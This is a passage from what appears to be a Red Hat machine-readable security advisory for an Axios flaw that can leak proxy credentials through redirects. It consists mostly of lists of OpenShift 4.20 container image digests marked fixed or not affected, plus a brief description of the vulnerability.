"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487948"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via redirect flows",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in Axios affecting Node.js environments. When an application uses Axios with an authenticated HTTP proxy and follows redirects from an HTTP to a non-proxied HTTPS destination, the Proxy-Authorization header may be inadvertently sent to the final origin server. This could lead to the exposure of sensitive proxy credentials to an unintended third party.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
